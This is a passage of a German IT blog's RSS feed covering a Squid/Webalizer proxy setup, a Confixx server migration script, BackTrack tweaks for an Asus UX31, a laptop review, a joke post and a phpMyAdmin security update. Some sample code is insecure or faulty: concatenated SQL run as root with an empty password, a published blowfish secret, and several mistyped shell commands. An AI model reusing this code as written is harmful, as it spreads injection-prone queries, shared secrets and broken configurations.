echo 'SearchEngine sensis.com.au find=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine google.nl q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine google.fr q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine google.ch q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine google.ca q=' &gt;&gt; webalizer-squid3.conf
echo 'SearchEngine google.be q=' &gt;&gt; webalizer-squid3.conf</pre>
<p>Diese Zeile hier muss auf die eigenen Gegebenheiten angepasst werden. Und zwar muss man hier das Webverzeichnis angeben, wo die Statistiken abgelegt werden sollten. Dieses sollte natürlich nicht schon eine Webseite beinhalten, sonst würde es überschrieben werden <img src='http://bimg2.murawski.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<pre class="brush: plain; title: ; notranslate">echo 'OutputDir /var/www/murawski.ch/www/statistik/' &gt;&gt; webalizer-squid3.conf</pre>
<p>Und nun aktivieren wir den Cronjob welcher automatisch die Statistiken aktualisiert mit:</p>
<pre class="brush: plain; title: ; notranslate">cd /opt
crontab -l &gt; crontab.tmp
echo '' &gt;&gt; crontab.tmp
echo '24 0,6,8,10,12,14,16,18,20,22 * * * /usr/bin/webalizer -c /etc/webalizer/webalizer-squid3.conf &gt; /dev/null 2&gt;&amp;amp;1' &gt;&gt; crontab.tmp
crontab crontab.tmp
rm crontab.tmp</pre>
<p>Nun kann man beim SSL-Explorer einloggen und unter &#8220;Configuration -> Server -> Proxy&#8221; noch den Host auf &#8220;localhost&#8221; und den Port auf &#8220;3128&#8243; einstellen und das Ganze ist eingerichtet.</p>
<h3 id='Abschluss'>Abschluss</h3>
<p>Man kann nun per Webpanel einen SSL Tunnel auf den eigenen Server starten und von dort aus diesen Proxy als Sprungbrett für Alles nehmen.</p>
<p>Wie auch bei der alten Anleitung, ist dies keine Anleitung um Firmenfirewalls zu umgehen und darf auch nicht ohne Zustimmung dafür genutzt werden!</p>
<h3 id='Danksagung'>Danksagung</h3>
<p>Auch ein herzliches Dankeschön geht an <a href="http://blog.root1024.ch/security/proxy-mit-filter-und-virenschutz-uber-ssl-explorer/" target="_blank">Silvan vom Roo1024 Blog</a> wo meine Anleitung durchgearbeitet, kontrolliert und verbessert hat, weil ich einfach zu wenig Zeit hatte.<br />
Besucht unbedingt auch seinen Blog, denn auch er hat immer wieder sehr interessante Artikel rund um den IT Bereich.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/RtoALxT4JUA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/02/ssl-web-proxy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<enclosure url="http://blog.murawski.ch/wp-content/uploads/2012/02/sslexplorer-community-update-backup-restore.zip" length="276575" type="application/zip" /><feedburner:origLink>http://www.murawski.ch/2012/02/ssl-web-proxy/</feedburner:origLink></item>
		<item>
		<title>Confixx Serverumzug</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/2VVNdGlSg-Q/</link>
		<comments>http://www.murawski.ch/2012/02/confixx-serverumzug/#comments</comments>
		<pubDate>Tue, 21 Feb 2012 16:28:06 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Confixx]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Umzug]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4834</guid>
		<description><![CDATA[&#160;Wer einen Confixx Server hat, hat sicher nicht eine grosse Lust die Daten von einem Server zum Anderen zu zügeln. Die Anleitung ist eigentlich sehr einfach und man findet diese auch überall im Internet. Jedoch synchronisiert Confixx auch wirklich nur was 1:1 über Confixx erstellt wurde mit ein paar wichtigen Ausnahmen. Auch ich habe mich [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p>Wer einen Confixx Server hat, hat sicher nicht eine grosse Lust die Daten von einem Server zum Anderen zu zügeln.</p>
<p>Die Anleitung ist eigentlich sehr einfach und man findet diese auch überall im Internet.</p>
<p>Jedoch synchronisiert Confixx auch wirklich nur was 1:1 über Confixx erstellt wurde mit ein paar wichtigen Ausnahmen.</p>
<p>Auch ich habe mich an die Anleitung gehalten und einfach mal ein Verzeichnis für das Backup erstellt:</p>
<blockquote><p>cd /root<br />
rm -R confixxdump<br />
mkdir /root/confixxdump</p></blockquote>
<p>und anschliessend das Backup gestartet:</p>
<blockquote><p>cd /root/confixx<br />
./backup.pl &#8211;dump /root/confixxdump/dump</p></blockquote>
<p>Danach kann man die Backups auf den neuen Server zügeln mit SCP, z.B. mit:</p>
<blockquote><p>scp -r ../confixxdump root@nmeuerserver:/storage/</p></blockquote>
<p>Auf dem neuen Server kann man danach die folgenden Befehle starten:</p>
<blockquote><p>cd /root/confixx/<br />
rm restore.txt<br />
./restore.pl &#8211;mapping &#8211;dump /storage/confixxdump/dump.tgz &#8211;map restore.txt &#8211;clean</p></blockquote>
<p>Nun wurde ein restore.txt angelegt, was man bearbeiten sollte.<br />
Darin muss man die neuen Server IP Adressen austauschen und gegebenenfalls die Domains anpassen.</p>
<p>Ist alles gemacht, kann der Restore mit:</p>
<blockquote><p>./restore.pl &#8211;restore &#8211;dump /storage/confixxdump/dump.tgz &#8211;map restore.txt &#8211;clean &#8211;debug</p></blockquote>
<p>angeworfen werden.</p>
<p>Soweit die Anleitung und dies funktioniert auch gut.</p>
<p>Nun die Ausnahme, hatte man irgendwelche spezifischen Einstellungen zu Kunden vorgenommen, sind diese im Nirvana.<br />
Dies beinhaltet <span id="more-4834"></span>DNS, HTTP &#038; PHP Optionen.</p>
<p>Ich hab mir dazu kurz ein PHP File geschrieben wo die HTTP und PHP Optionen synchronisiert.</p>
<pre class="brush: php; title: ; notranslate">&lt;?php

$pass = '';
$db = mysql_connect('localhost','root',$pass) or die(mysql_error());
mysql_select_db('confixx',$db);

$db2 = mysql_connect('neuerserver','root2',$pass) or die(mysql_error());
mysql_select_db('confixx',$db2);

$abfrage = mysql_query(&quot;SELECT d.domain,e.* FROM httpd_entries as e LEFT JOIN domains as d ON d.id=e.domain_id WHERE d.domain!=''  AND d.domain NOT LIKE 'web%.%'&quot;,$db);
while($row = mysql_fetch_assoc($abfrage)) {
	echo &quot;&lt;b&gt;&quot;.$row[domain].&quot;&lt;/b&gt;: &quot;.$row[domain_id].&quot;=&amp;gt;&quot;;

	$abf = mysql_query(&quot;SELECT `id`,`server_id` FROM domains WHERE domain='&quot;.$row[domain].&quot;' LIMIT 1&quot;,$db2);
	$dbid = mysql_result($abf,0,&quot;id&quot;);
	$sid = mysql_result($abf,0,&quot;server_id&quot;);
	echo $dbid.&quot;&lt;br/&gt;&quot;;

	$einspeichern = &quot;REPLACE INTO `httpd_entries` VALUES ('&quot;.$row['id'].&quot;','&quot;.$row['httpd_id'].&quot;','&quot;.$row['reseller'].&quot;','&quot;.$row['user'].&quot;','&quot;.$row['type'].&quot;','&quot;.$dbid.&quot;','&quot;.$row['state'].&quot;','&quot;.$sid.&quot;');&quot;;
	mysql_query($einspeichern,$db2);
}

?&gt;</pre>
<p>Dieses kopiert man auf den Quell Server und schaltet die MySQL Verbindung auf (skip-networking deaktivieren) und synchronisiert.</p>
<p>Einzig und alleine bleiben noch die DNS Einstellungen manuell zu übernehmen und danach funktioniert der komplette Server ohne Probleme.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/2VVNdGlSg-Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/02/confixx-serverumzug/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/02/confixx-serverumzug/</feedburner:origLink></item>
		<item>
		<title>BackTrack 5 RC1 (Ubuntu) auf UX31</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/xiCBhVCaGT0/</link>
		<comments>http://www.murawski.ch/2012/01/backtrack-5-rc1-ubuntu-auf-ux31/#comments</comments>
		<pubDate>Sun, 15 Jan 2012 12:38:37 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Gadgets]]></category>
		<category><![CDATA[PC Artikel]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Laptop]]></category>
		<category><![CDATA[Tweaks]]></category>
		<category><![CDATA[Ultrabook]]></category>
		<category><![CDATA[UX31]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4808</guid>
		<description><![CDATA[&#160;BackTrack ist ein OS mit Penetration Testing Tools auf Ubuntu Basis. Die neueste Version 5RC1 kann von folgender Seite heruntergeladen werden: http://www.backtrack-linux.org/downloads/ (Ich habe die KDE x64 Version genommen) Das OS erkennt leider nicht gleich die ganze Hardware vom Anfang an und da muss man ein wenig nachhelfen. Ethernet USB-LAN Adapter Dieser wird komplett nicht [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p>BackTrack ist ein OS mit Penetration Testing Tools auf Ubuntu Basis. Die neueste Version 5RC1 kann von folgender Seite heruntergeladen werden: <a href="http://www.backtrack-linux.org/downloads/" target="_blank">http://www.backtrack-linux.org/downloads/</a> (Ich habe die KDE x64 Version genommen)</p>
<p>Das OS erkennt leider nicht gleich die ganze Hardware vom Anfang an und da muss man ein wenig nachhelfen.</p>
<p><b>Ethernet USB-LAN Adapter</b><br />
Dieser wird komplett nicht erkennt und daher sollte man den dazugehörigen Treiber herunterladen. Dazu gibt man in der Shell folgenden Befehl ein:</p>
<blockquote><p><code>wget http://www.asix.com.tw/FrootAttach/driver/AX88772B_772A_760_772_178_LINUX_Driver_v4.2.0_Source.zip<br />
cd AX88772B_772A_760_772_178_LINUX_Driver_v4.1.0_Source<br />
make<br />
sudo make install<br />
sudo modprobe asix<br />
echo "asix" >> /etc/modules</code></p></blockquote>
<p>Anschliessend wurde der richtige Treiber installiert und aktiviert.</p>
<p><b>WLAN Adapter</b><br />
Der WLAN Adapter wird zwar erkennt, ist aber beim normalen Systemstart mit einem Softlock versehen. Um diesen zu entfernen sind diese Befehle nötig:<br />
<span id="more-4808"></span><br />
<blockquote><code>sudo modprobe -r acer-wmi<br />
cd /etc/modprobe.d<br />
echo "blacklist acer-wmi" >> blacklist.conf<br />
echo "rfkill unlock all" >> /root.profile<br />
rfkill unlock all<br />
</code></p></blockquote>
<p>Nun ist der Softlock entfernt und das WLAN ist auf wlan0 verfügbar.</p>
<p><b>Sleep / Hibernate Mode</b><br />
Leider hängt sich der Laptop dann beim Sleep und Hibernate auch noch auf. Dies hat mit den USB3 Treibern zu tun. Beim Aktivieren, schaltet sich zudem auch der Bildschirm nicht mehr richtig ein. Um das zu beheben sind folgende Befehle notwendig:</p>
<blockquote><p><code>touch /etc/pm/sleep.d/95usbscreen<br />
echo 'EHCI_BUSES="0000:00:1a.0 0000:00:1d.0"' >> /etc/pm/sleep.d/95usbscreen<br />
echo 'case "${1}" in' >> /etc/pm/sleep.d/95usbscreen<br />
echo '   hibernate|suspend)' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       # Switch USB buses off' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       for bus in $EHCI_BUSES; do' >> /etc/pm/sleep.d/95usbscreen<br />
echo '           echo -n $bus > /sys/bus/pci/drivers/ehci_hcd/unbind' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       done' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       ;;' >> /etc/pm/sleep.d/95usbscreen<br />
echo '   resume|thaw)' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       # Switch USB buses back on' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       for bus in $EHCI_BUSES; do' >> /etc/pm/sleep.d/95usbscreen<br />
echo '           echo -n $bus > /sys/bus/pci/drivers/ehci_hcd/bind' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       done' >> /etc/pm/sleep.d/95usbscreen<br />
echo '' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       echo -n 0x90 0x80 > /sys/devices/platform/i8042/serio4/setreg' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       echo -n c > /sys/devices/platform/i8042/serio4/flags' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       # Hacky workaround to fix display after suspend' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       export DISPLAY=":0"' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       export XAUTHORITY="/root/.Xauthority"' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       xset dpms force off' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       xset dpms force on' >> /etc/pm/sleep.d/95usbscreen<br />
echo '       ;;' >> /etc/pm/sleep.d/95usbscreen<br />
echo 'esac' >> /etc/pm/sleep.d/<br />
chmod +x /etc/pm/sleep.d/95usbscreen</code></p></blockquote>
<p><b>Autostart von KDE</b><br />
Wer möchte das sich das KDE automatisch startet, kann noch folgende Befehle ausführen:</p>
<blockquote><p><code>echo 'if [ -z "$DISPLAY" ] &#038;&#038; [ $(tty) == /dev/tty1 ] ; then]' >> .profile<br />
echo "		startx" >> .profile<br />
echo "fi" >> .profile</code></p></blockquote>
<p>Nun startet das KDE automatisch beim Systemstart.</p>
<p><b>Touchpad, Grafik &#038; Musik</b><br />
Diese Treiber funktionieren auf Anhieb und keinerlei Modifikationen müssen gemacht werden.</p>
<p>Da die Batterielaufzeit sehr wichtig ist bei einem Laptop nehmen wir auch da noch diverse Anpassungen vor.<br />
Damit Strom gespart werden kann, werden wir diverse Dinge anpassen, dafür installieren wir zuerst die Tools dazu:</p>
<blockquote><p><code>sudo apt-get install laptop-mode-tools -y<br />
echo 'MODULES="all"' >> /etc/default/acpid</code></p></blockquote>
<p>Damit USB3 schlafen geht wenn es unbenutzt ist:</p>
<blockquote><p><code>replace 'CONTROL_USB_AUTOSUSPEND=0' 'CONTROL_USB_AUTOSUSPEND=1' -- /etc/laptop-mode/conf.d/usb-autosuspend.conf<br />
replace 'LM_AC_SUSPEND_USB=0' 'LM_AC_SUSPEND_USB=1' -- /etc/laptop-mode/conf.d/usb-autosuspend.conf</code></p></blockquote>
<p>Der SATA Controller:</p>
<blockquote><p><code>replace 'CONTROL_INTEL_SATA_POWER=0' 'CONTROL_USB_AUTOSUSPEND=1' -- /etc/laptop-mode/conf.d/intel-sata-powermgmt.conf<br />
echo 'BATT_ACTIVATE_SATA_POWER=1' >> /etc/laptop-mode/conf.d/intel-sata-powermgmt.conf<br />
echo 'LM_AC_ACTIVATE_SATA_POWER=1' >> /etc/laptop-mode/conf.d/intel-sata-powermgmt.conf<br />
echo 'NOLM_AC_ACTIVATE_SATA_POWER=0' >> /etc/laptop-mode/conf.d/intel-sata-powermgmt.conf</code></p></blockquote>
<p>LCD Helligkeit:</p>
<blockquote><p><code>replace 'CONTROL_BRIGHTNESS=0' 'CONTROL_BRIGHTNESS=1' -- /etc/laptop-mode/conf.d/lcd-brightness.conf<br />
replace 'BATT_BRIGHTNESS_COMMAND="echo [value]"' 'BATT_BRIGHTNESS_COMMAND="echo 4"' -- /etc/laptop-mode/conf.d/lcd-brightness.conf<br />
replace 'LM_AC_BRIGHTNESS_COMMAND="echo [value]"' 'LM_AC_BRIGHTNESS_COMMAND="echo 10"' -- /etc/laptop-mode/conf.d/lcd-brightness.conf<br />
replace 'NOLM_AC_BRIGHTNESS_COMMAND="echo [value]"' 'NOLM_AC_BRIGHTNESS_COMMAND="echo 10"' -- /etc/laptop-mode/conf.d/lcd-brightness.conf<br />
replace 'BRIGHTNESS_OUTPUT="/proc/acpi/video/VID/LCD/brightness"' 'BRIGHTNESS_OUTPUT="/sys/class/backlight/acpi_video0/brightness"' -- /etc/laptop-mode/conf.d/lcd-brightness.conf</code></p></blockquote>
<p><b>CPU Frequenz Anpassung</b><br />
Damit die CPU nicht immer auf voller Leistung läuft, sondern sich je nach Systemlast selber anpasst (Stromsparend) sollte man noch das dazugehörige Modul installieren und aktivieren:</p>
<blockquote><p><code>sudo apt-get install cpufrequtils<br />
sudo modprobe acpi-cpufreq<br />
sudo modprobe cpufreq_ondemand<br />
echo "acpi-cpufreq" >> /etc/modules<br />
echo "cpufreq_ondemand" >> /etc/modules<br />
replace 'CONTROL_CPU_FREQUENCY=0' 'CONTROL_CPU_FREQUENCY=1' -- /etc/laptop-mode/conf.d/cpufreq.conf</code></p></blockquote>
<p>Audio:</p>
<blockquote><p><code>replace 'CONTROL_AC97_POWER=0' 'CONTROL_AC97_POWER=1' -- /etc/laptop-mode/conf.d/ac97-powersave.conf</code></p></blockquote>
<p>Und noch ein Fix, damit wir uns mit dem PM-Util nicht in den Weg kommen:</p>
<blockquote><p><code>touch /etc/pm/config.d/laptop-mode-tools<br />
echo 'HOOK_BLACKLIST="laptop-mode"' >> /etc/pm/config.d/laptop-mode-tools</code></p></blockquote>
<p>Selbstverständlich sollte das Gleiche auch mit dem kleineren Bruder dem UX21 gehen, aber ist ungetestet.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/xiCBhVCaGT0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/01/backtrack-5-rc1-ubuntu-auf-ux31/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/01/backtrack-5-rc1-ubuntu-auf-ux31/</feedburner:origLink></item>
		<item>
		<title>Die Weltwoche deckt nächsten Skandal auf</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/ZmMlGlp1kG8/</link>
		<comments>http://www.murawski.ch/2012/01/die-weltwoche-deckt-nachsten-skandal-auf/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 10:40:29 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Lustiges]]></category>
		<category><![CDATA[Weltwoche]]></category>
		<category><![CDATA[Witz]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4805</guid>
		<description><![CDATA[&#160;Gemäss Recherchen der oben genannten Zeitung, soll ein Informant den SRG-Generaldirektor Roger de Weck darüber ins Bild gesetzt haben, dass SF-Meteorologe Thomas Bucheli an einem hochbrisanten Insiderdeal beteiligt gewesen sein soll. Konkret geht es darum, dass Buchelis Frau Mitte Dezember in einem Pneuhaus in Zürich-Altstetten neue Winterreifen gekauft haben soll und zwar genau einen Tag, [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p>Gemäss Recherchen der oben genannten Zeitung, soll ein Informant den SRG-Generaldirektor Roger de Weck darüber ins Bild gesetzt haben, dass SF-Meteorologe Thomas Bucheli an einem hochbrisanten Insiderdeal beteiligt gewesen sein soll. Konkret geht es darum, dass Buchelis Frau Mitte Dezember in einem Pneuhaus in Zürich-Altstetten neue Winterreifen gekauft haben soll und zwar genau einen Tag, bevor es zum ersten Mal bis ins Flachland geschneit hat.</p>
<p>Dieser Reifenhandel wirft natürlich viele Fragen auf. Hat Buchelis Frau vom bevorstehenden Schneefall gewusst? Hat Thomas Bucheli selbst den Reifendeal eingefädelt? Wer hat alles von der ganzen Sache profitiert? Eins ist auf jeden Fall klar, die Sache stinkt zum Himmel und der Bucheli hat offensichtlich seine Frau nicht unter Kontrolle!!!</p>
<p>Höchst pikant ist auch die Tatsache, dass der Informant (ein Hilfsarbeiter desPneuhauses) mit seinen Beweisen zuerst zum obersten Muotathaler Wetterschmöker Hans-Heiri Tresch (ein seit Jahren vehementer Kritiker Buchelis) ging, und dieser wiederum spielte die &#8220;Reifenakte&#8221; der &#8220;Weltwoche&#8221; und danach Roger de Weck zu. Was wiederum die Schlussfolgerung zulässt, dass sich Hans-Heiri Tresch den Moderationsposten auf dem Dach des Studios Leutschenbach unter den Nagel reissen will. Da Tresch im Moment &#8220;in der Zeit des Schweigens&#8221; ist, war von ihm keine Stellungnahme zu erhalten. Thomas Bucheli seinerseits weist jedoch alle gegen ihn erhobenen Vorwürfe vehement zurück.</p>
<p>Eine Blitz-Umfrage von 20Minuten Online hat übrigens ergeben, dass 98% der Userinnen und User nicht wissen, wer Thomas Bucheli ist, was Roger de Weck wiederum auf die sinkenden Einschaltquoten zurückführte.</p>
<p>Und zum Schluss noch meine persönliche Wettervorhersage: Am Abend ist mit aufkommender Dunkelheit zu rechnen&#8230;.. gegen Morgen wird&#8217;s dann aber wieder heller. </p>
<p>Ich wünsche noch viel Spass bei anderen Artikeln.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/ZmMlGlp1kG8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2012/01/die-weltwoche-deckt-nachsten-skandal-auf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2012/01/die-weltwoche-deckt-nachsten-skandal-auf/</feedburner:origLink></item>
		<item>
		<title>Review &amp; FN Tasten Problem vom Asus Ultrabook UX21/31</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/O7JVkVBJVZ8/</link>
		<comments>http://www.murawski.ch/2011/12/review-fn-tasten-problem-vom-asus-ultrabook-ux2131/#comments</comments>
		<pubDate>Thu, 29 Dec 2011 10:39:54 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Gadgets]]></category>
		<category><![CDATA[PC Artikel]]></category>
		<category><![CDATA[FN Taste]]></category>
		<category><![CDATA[Laptop]]></category>
		<category><![CDATA[Ultrabook]]></category>
		<category><![CDATA[UX31]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4795</guid>
		<description><![CDATA[&#160;Die neuen Ultrabooks von Asus sind schon der Hit. Schmal, leicht, schnell und starke Akku&#8217;s. Vorne weg ohne Jedem Angst zu machen. Die Überschwemmungen in Thailand haben auf dem SSD Markt ein riesiger Schaden hinterlassen. Aus dem Grund kaufen aktuell alle Hersteller die SSD Festplatten zusammen. Die verbauten 128GB AData Sandforce SSD Platten sind recht [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p>Die neuen <a target="_blank" rel="external nofollow" href="http://www.asus.de/Notebooks/Superior_Mobility/ASUS_ZENBOOK_UX31E/">Ultrabooks von Asus</a> sind schon der Hit. Schmal, leicht, schnell und starke Akku&#8217;s.</p>
<p>Vorne weg ohne Jedem Angst zu machen. Die Überschwemmungen in Thailand haben auf dem SSD Markt ein riesiger Schaden hinterlassen. Aus dem Grund kaufen aktuell alle Hersteller die SSD Festplatten zusammen.</p>
<p><center><img class="alignnone size-full wp-image-4796" title="Ultrabook UX31" src="http://blog.murawski.ch/wp-content/uploads/2011/12/Ultrabook-UX31.jpg" alt="Ultrabook UX31" width="500" height="500" /></center></p>
<p>Die verbauten 128GB AData Sandforce SSD Platten sind recht schnell und leistungsfähig. Die verbauten 256 GB Festplatten von Sandisk hingegen sind lahme Schnecken im Vergleich.</p>
<p>Der i7 tut wiederum seinen Dienst und man hat genügend Performance.</p>
<p>Das Ultrabook kommt mit einem vorinstallierten Windows 7 daher. Da dies von Asus erstellt wurde, finden sich darauf erstmals eine Handvoll unnützlicher Spiele und Anwendungen vor die man deinstallieren sollte. Dabei geht schonmal eine Stunde den Bach runter.</p>
<p>Weiterhin ist auch <span id="more-4795"></span>die BingBar installiert, wo man beim Setup zustimmen muss. Naja, dafür hat man das Ultrabook 100 CHF Billiger erhalten (MS zahlt dafür) und das deinstalliert man sich auch gleich. Dafür nehm ich mir die 5 Minuten gerne.</p>
<p>Wie immer ist das Windows längst veraltet und man macht sich auf zu einem Update Marathon über mehrere Stunden.</p>
<p>Ist alles erledigt, bemerkt man gegebenenfalls, dass die FN Tasten nicht mehr funktionieren.<br />
FN + F2 steuert WLAN und Bluetooth, auch FN + F9-12 sind ausser Funktion.</p>
<p>Kurz gesagt, der ATK Manager darauf ist zwar installiert, tut aber nicht was er sollte.</p>
<p>Diesen kann man sich bei <a href="http://support.asus.de/download/download.aspx?SLanguage=de-de" target="_blank" rel="external nofollow">Asus.de</a> herunterladen:<br />
<a href="http://support.asus.de/download/download.aspx?SLanguage=de-de" target="_blank" rel="external nofollow"><img src="http://blog.murawski.ch/wp-content/uploads/2011/12/ATK-Manager.jpg" alt="ATK Manager" title="ATK Manager" width="600" height="150" class="alignnone size-full wp-image-4797" /></a></p>
<p>Beim Starten fragt er nach ob man die Installation reparieren oder entfernen möchte. Unbedingt Entfernen!<br />
Danach Rebooten. (PS: Sollte der Reboot nicht gehen, abwürgen). Erst nach dem Reboot neu installieren und hier nochmals Rebooten (sollte nun gehen).</p>
<p>Ist dies erledigt, funktioniert der ATK Manager endlich zufriedenstellend und die FN Tasten damit auch.</p>
<p>Trotz der Problemchen, bin ich sehr zufrieden mit dem Gerät und kann es nur empfehlen.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/O7JVkVBJVZ8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2011/12/review-fn-tasten-problem-vom-asus-ultrabook-ux2131/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2011/12/review-fn-tasten-problem-vom-asus-ultrabook-ux2131/</feedburner:origLink></item>
		<item>
		<title>PhpMyAdmin 3.4.9 – Sicherheitsupdate</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/Y9bLDQHx7tA/</link>
		<comments>http://www.murawski.ch/2011/12/phpmyadmin-3-4-9-sicherheitsupdate/#comments</comments>
		<pubDate>Sat, 24 Dec 2011 23:50:14 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Confixx]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[phpMyAdmin]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4780</guid>
		<description><![CDATA[&#160;PhpMyAdmin 3.4.9 ist vor wenigen Tagen erschienen und Jede Person sollte schnellst möglichst diese Version installieren! In allen Versionen inkl. 3.4.8 ist ein Sicherheitsloch, womit man Domain übergreifend ohne Password in die Datenbanken kommt. Ein recht happiger XSS Fix dem Fall. Der Bug wurde am 7. Dezember entdeckt und bereits am 21. Dezember geschlossen. Aus [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><a href="http://www.phpmyadmin.net/" rel="external nofollow">PhpMyAdmin 3.4.9</a> ist vor wenigen Tagen erschienen und Jede Person sollte schnellst möglichst diese Version installieren!</p>
<p>In allen Versionen inkl. 3.4.8 ist ein Sicherheitsloch, womit man Domain übergreifend ohne Password in die Datenbanken kommt. Ein recht happiger XSS Fix dem Fall.</p>
<p>Der Bug wurde am 7. Dezember entdeckt und bereits am 21. Dezember geschlossen. Aus diesem Grund wurde auch bereits das <a href='https://www.trustwave.com/spiderlabs/advisories/TWSL2011-019.txt' rel="external nofollow">Proof of Concept</a> am 22. Dezember publiziert, womit diverse Genossen den Bug auf noch nicht aktualisierten Versionen ausnutzen könnten.</p>
<p>Aus dem Grund ist ein Update erst recht ans Herz gelegt!</p>
<p>Weiterhin möchte ich hier noch 2 sehr kleine Tipps zum Besten geben. PhpMyAdmin hat neuerdings noch &#8220;neue Funktionen&#8221; welche man gegebenenfalls nicht nutzen möchte. Leider erscheint dann aber immer folgende Meldung:</p>
<blockquote><p>Der phpMyAdmin-Konfigurationsspeicher ist nicht vollständig konfiguriert, einige erweiterte Funktionen wurden deaktiviert. Klicken Sie hier, um herauszufinden warum.</p></blockquote>
<p>Dazu öffnet man einfach die main.php im PhpMyAdmin Verzeichnis und geht zur Zeile 298:</p>
<pre class="brush: php; title: ; notranslate">if ($server &gt; 0) {</pre>
<p>Diese ändert <span id="more-4780"></span>man in:</p>
<pre class="brush: php; title: ; notranslate">if ($server &gt; 0 AND 1 == 2) {</pre>
<p>Und schon ist die Meldung weg.</p>
<p>Auch gibt es noch die Meldung:</p>
<blockquote><p>Der Server läuft mit Suhosin. Bitte lesen Sie die Dokumentation wegen möglicher Probleme.</p></blockquote>
<p>Falls keine Loginprobleme auftreten, die Meldung einfach im Config.inc.php ausblenden mit folgendem Eintrag:</p>
<pre class="brush: php; title: ; notranslate">$cfg['SuhosinDisableWarning'] = true;</pre>
<p>Ein kleinerer Fehler den gewisse Personen noch sehen:</p>
<blockquote><p>Ab sofort muss ein geheimes Passwort zur Verschlüsselung inder Konfigurationsdatei gesetzt werden (blowfish_secret).</p></blockquote>
<fieldset class="spoiler">
			<legend>
				<input type="button" onclick="tiny_spoiler('FürDebianUserymasbtzaoq')" id="FürDebianUserymasbtzaoq_button" value="+" />
				Für Debian User
			</legend>
			<div id="FürDebianUserymasbtzaoq">Für Euch ist es speziell, ihr fügt wenn nciht schon geschehen folgende Zeile in die /var/lib/phpmyadmin/blowfish_secret.inc.php Datei:</p>
<blockquote><p>$cfg['blowfish_secret'] = &#39;ce83c147ffca43414228ffdf23e121d5&#39;;</p></blockquote>
<p>Config config.inc.php shieht man Ende etwa so aus:</p>
<blockquote><p>&lt;?php</p>
<p>// Load secret generated on postinst<br />
